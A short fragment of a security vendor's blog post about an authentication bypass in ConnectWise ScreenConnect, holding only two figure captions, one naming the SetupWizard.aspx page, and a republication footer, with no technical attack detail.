Start Your Free Trial

Figure 5. NodeZero Attack Path to Exploitation

Figure 6. Proof of Accessing the SetupWizard.aspx page

The post ConnectWise ScreenConnect: Authentication Bypass Deep Dive appeared first on Horizon3.ai.